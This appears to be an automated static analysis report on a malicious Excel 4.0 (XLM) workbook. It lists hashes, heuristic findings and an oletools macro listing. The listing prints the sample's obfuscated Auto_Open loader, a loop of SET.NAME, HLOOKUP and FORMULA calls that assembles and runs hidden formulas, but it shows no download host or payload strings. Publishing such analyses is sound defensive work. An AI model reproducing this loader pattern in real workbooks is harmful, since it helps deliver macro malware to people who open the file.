Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 78b6d800891c467d…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:24:46 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 60b6b879a16edc22df2e337252c1e957 SHA-1: b20b43d5c2a4220e9a0597bb5e303f07c4985ab1 SHA-256: 78b6d800891c467d2c5c80aee98940a19c00aca4388ba904c5a16a2bade85493
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6485 bytes
SHA-256: 6543bba939e07ca5f7abfd86914b28aa2ce9e50969bd8d4d8b45ef6c06f651ae
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Qjkvu
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D170 
' 0018     25 LABEL : Cell Value, String Constant - BfFosKaOFQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - dgGUHgOn len=0 
' 0018     22 LABEL : Cell Value, String Constant - DPUzrZG len=0 
' 0018     23 LABEL : Cell Value, String Constant - DWXqYoUQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - dYTqm len=0 
' 0018     27 LABEL : Cell Value, String Constant - fiJCkPZfsRwL len=0 
' 0018     22 LABEL : Cell Value, String Constant - fnPMnWP len=0 
' 0018     24 LABEL : Cell Value, String Constant - ghLlOscgQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - hvvXdTdwpkBp len=0 
' 0018     22 LABEL : Cell Value, String Constant - IpgvNeu len=0 
' 0018     23 LABEL : Cell Value, String Constant - JfPxrUpK len=0 
' 0018     25 LABEL : Cell Value, String Constant - kMvkwjtwbS len=0 
' 0018     20 LABEL : Cell Value, String Constant - leqwK len=0 
' 0018     22 LABEL : Cell Value, String Constant - PzXoIev len=0 
' 0018     20 LABEL : Cell Value, String Constant - QFNgI len=0 
' 0018     22 LABEL : Cell Value, String Constant - TgSBcLA len=0 
' 0018     27 LABEL : Cell Value, String Constant - vvapDdgAuTKN len=0 
' 0018     22 LABEL : Cell Value, String Constant - xBqMrcf len=0 
' 0018     26 LABEL : Cell Value, String Constant - zbWJIPpBbLm len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZkqiqKVtr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Qjkvu,D64,"SET.NAME("IpgvNeu",VALUE("0"))",""
'  Qjkvu,D69,"SET.NAME("QFNgI",IpgvNeu)",""
'  Qjkvu,D74,"SET.NAME("TgSBcLA",IpgvNeu)",""
'  Qjkvu,D77,"SET.NAME("ghLlOscgQ",COUNTA(fiJCkPZfsRwL))",""
'  Qjkvu,D81,"SET.NAME("JfPxrUpK",COUNTA(BfFosKaOFQ))",""
'  Qjkvu,D83,[],""
'  Qjkvu,D87,"SET.NAME("ZkqiqKVtr","")",""
'  Qjkvu,D91,"QFNgI",""
'  Qjkvu,D96,"SET.NAME("dYTqm",HLOOKUP("*",fiJCkPZfsRwL,QFNgI,FALSE))",""
'  Qjkvu,D99,"zbWJIPpBbLm",""
'  Qjkvu,D102,"SET.NAME("kMvkwjtwbS",IpgvNeu)",""
'  Qjkvu,D107,[],""
'  Qjkvu,D109,"kMvkwjtwbS",""
'  Qjkvu,D114,"leqwK",""
'  Qjkvu,D118,"vvapDdgAuTKN",""
'  Qjkvu,D122,"DWXqYoUQ",""
'  Qjkvu,D127,"SET.NAME("hvvXdTdwpkBp",VALUE(HLOOKUP("*",BfFosKaOFQ,DWXqYoUQ,FALSE)))",""
'  Qjkvu,D131,"xBqMrcf",""
'  Qjkvu,D134,"ZkqiqKVtr",""
'  Qjkvu,D138,"TgSBcLA",""
'  Qjkvu,D143,NEXT(),""
'  Qjkvu,D148,"dgGUHgOn",""
'  Qjkvu,D153,"SET.NAME("f",INT(T(FORMULA(T(ZkqiqKVtr)&"",""&T(dgGUHgOn)))))",""
'  Qjkvu,D155,"PzXoIev",""
'  Qjkvu,D160,NEXT(),""
'  Qjkvu,D165,RETURN(),""
'  Qjkvu,D192,"SET.NAME("DPUzrZG",D64)",""
'  Qjkvu,D196,"fiJCkPZfsRwL",""
'  Qjkvu,D199,"SET.NAME("BfFosKaOFQ",R80C12)",""
'  Qjkvu,D204,"SET.NAME("PzXoIev",214)",""
'  Qjkvu,D209,"SET.NAME("fnPMnWP",4)",""
'  Qjkvu,D213,DPUzrZG(),""
'  Qjkvu,D214,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.